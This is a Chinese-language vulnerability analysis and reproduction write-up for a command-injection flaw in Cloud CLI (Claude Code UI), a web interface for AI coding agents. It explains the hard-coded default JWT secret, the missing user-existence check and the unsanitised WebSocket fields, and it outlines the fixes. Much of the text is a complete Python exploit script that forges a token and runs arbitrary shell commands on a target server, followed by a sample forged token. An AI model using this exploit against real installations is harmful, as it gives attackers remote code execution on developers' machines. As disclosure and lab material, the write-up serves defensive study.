一、基础信息

1.1 漏洞简介

Cloud CLI(Claude Code UI)是一款适用于Claude Code、Cursor CLI、Codex和Gemini-CLI的桌面和移动用户界面。在1.25.0之前,通过WebSocket Shell进行OS命令注入。projectPath和server/index.js中的initialCommand都直接从WebSocket消息的有效载荷中传输,然后插入到bash命令字符串中,且无需消毒,从而实现任意的OS命令执行。此外,通过未消毒的sessionId存在二次注入向量。

二、源码获取与定位

2.1 源码下载

三、漏洞成因分析

3.1 漏洞代码定位与成因

漏洞一:使用默认JWT密钥

文件位置:server/middleware/auth.js​

优先从环境变量 JWT_SECRET 读取密钥

如果环境变量未设置,则使用默认值 'claude-ui-dev-secret-change-in-production'

如果开发者没有设置JWT_SECRET,那就默认读取项目配置的默认密钥{claude-ui-dev-secret-change-in-production}作为JWT加密密钥,造成了默认密钥硬编码漏洞

漏洞二:WebSocket身份验证跳过数据库验证

文件位置:server/middleware/auth.js

我们可以通过使用不存在的userId的伪造令牌可以通过WebSocket身份验证,完全绕过访问控制

漏洞三:通过WebSocket Shell的OS命令注入

文件位置:server/index.js

  • projectPath和initialCommand直接从WebSocket消息payload中获取
  • 这两个参数被直接插值到bash命令字符串中,未经任何消毒
  • 攻击者可以通过initialCommand/projectPath参数注入任意shell命令


可以看到得到的shellCommand直接插进shellArgs中,无任何过滤

直接传入pty.spawn启动一个伪终端执行 shell 命令

漏洞利用链

步骤1:使用默认JWT密钥伪造令牌
   ↓
步骤2:建立WebSocket连接(使用伪造令牌)
   ↓
步骤3:发送恶意WebSocket消息
   ↓
步骤4:服务器执行注入的命令
   ↓
步骤5:接收命令执行结果

3.2 修复代码思路分析

修复一:强制显式设置JWT_SECRET

文件位置:server/middleware/auth.js

如果环境变量没有设置密钥,则通过 appConfigDb.getOrCreateJwtSecret() 方法获取或创建一个新的 JWT 密钥

修复二:在WebSocket身份验证中添加数据库用户存在性检查

文件位置:server/middleware/auth.js

在验证JWT签名后,立即检查userId是否存在于数据库中


四、漏洞复现环境搭建

步骤1:安装Node.js

node --version
npm --version

步骤2:cmd进入源码所在路径,下载依赖

npm install

步骤3:配置环境变量(保持默认漏洞配置)

  1. 复制环境变量示例文件:
cppy .env.example .env

步骤4:启动服务器

npm run dev


五、漏洞复现

复现脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Cloud CLI (Claude Code UI) WebSocket Shell Command Injection Exploit Script
CVE-2026-31975 / GHSA-gv8f-wpm2-m5wr

使用指定的JWT令牌执行命令
"""

import asyncio
import json
import sys
try:
    import websockets
except ImportError:
    print("[-] 请先安装websockets库: pip install websockets")
    sys.exit(1)

class CloudCLIExploit:
    def __init__(self, target_host, target_port=3001, token=None):
        self.target_host = target_host
        self.target_port = target_port
        self.ws_url = f"ws://{target_host}:{target_port}/shell"
        self.token = token

    async def execute_command(self, command, use_plain_shell=True):
        """执行指定命令"""
        print(f"\n[*] 目标主机: {self.target_host}:{self.target_port}")
        print(f"[*] 执行命令: {command}")
        print(f"[*] 使用模式: {'Plain Shell' if use_plain_shell else 'Provider'}")

        # 构造WebSocket URL
        if self.token:
            ws_url_with_token = f"{self.ws_url}?token={self.token}"
            print(f"[*] 使用JWT令牌: {self.token[:50]}...")
        else:
            ws_url_with_token = self.ws_url
            print(f"[*] 未使用JWT令牌")

        try:
            async with websockets.connect(ws_url_with_token) as websocket:
                print(f"[+] WebSocket连接成功")

                # 构造payload
                if use_plain_shell:
                    # 使用Plain Shell模式
                    payload = {
                        "type": "init",
                        "projectPath": "/tmp",
                        "initialCommand": command,
                        "isPlainShell": True,
                        "hasSession": False
                    }
                else:
                    # 使用Cursor provider模式(sessionId注入)
                    payload = {
                        "type": "init",
                        "provider": "cursor",
                        "hasSession": True,
                        "sessionId": command,
                        "projectPath": "/tmp"
                    }

                print(f"[*] 发送payload:")
                print(json.dumps(payload, indent=2))

                await websocket.send(json.dumps(payload))

                # 接收响应
                print(f"\n[*] 等待服务器响应...")
                try:
                    # 设置超时为10秒(给calc.exe启动留足时间)
                    response = await asyncio.wait_for(websocket.recv(), timeout=10.0)
                    print(f"\n[+] 收到响应:")
                    print(f"{'='*60}")
                    print(response)
                    print(f"{'='*60}")
                except asyncio.TimeoutError:
                    print(f"[*] 响应超时(命令可能已执行,如calc.exe可能需要手动检查)")

        except ConnectionRefusedError:
            print(f"[-] 连接被拒绝,请确保服务已启动: {self.ws_url}")
            print(f"[-] 检查: 1) 服务是否运行 2) 端口是否正确 3) 防火墙是否阻止")
        except Exception as e:
            print(f"[-] 利用失败: {e}")
            import traceback
            traceback.print_exc()

async def main():
    """主函数"""
    print("=" * 76)
    print("Cloud CLI (Claude Code UI) WebSocket Shell Command Injection Exploit")
    print("CVE-2026-31975 / GHSA-gv8f-wpm2-m5wr")
    print("=" * 76)

    # 从命令行获取参数
    if len(sys.argv) < 3:
        print("\n使用方法:")
        print("  python exploit.py <目标主机> <JWT令牌> [端口] [命令]")
        print("\n参数说明:")
        print("  目标主机: 例如 localhost 或 192.168.1.100")
        print("  JWT令牌: 您伪造的JWT令牌")
        print("  端口: 可选,默认3001")
        print("  命令: 可选,默认 'calc'")
        print("\n示例:")
        print("  python exploit.py localhost eyJhbGci... 3001 calc")
        print("  python exploit.py 192.168.1.100 eyJhbGci... 3001 'whoami && id'")
        sys.exit(1)

    target_host = sys.argv[1]
    token = sys.argv[2]
    target_port = int(sys.argv[3]) if len(sys.argv) > 3 else 3001
    command = sys.argv[4] if len(sys.argv) > 4 else 'calc'

    exploit = CloudCLIExploit(target_host, target_port, token)

    # 执行命令
    await exploit.execute_command(command)

    print("\n" + "=" * 76)
    print("[*] 利用脚本执行完成")
    print("=" * 76)

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n\n[*] 用户中断")
    except Exception as e:
        print(f"\n[-] 程序异常: {e}")
        import traceback
        traceback.print_exc()


复现漏洞:

先进行tokens伪造JWT令牌


脚本使用命令:
python exploit.py <目标主机> <JWT令牌> [端口] [命令]

python poc.py 127.0.0.1 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiMTIxMyJ9.lvRZ3IWwemWqDRjCMAPJW5LQWQdw5TJ7vkbNJsHD38g" 3001 calc

成功复现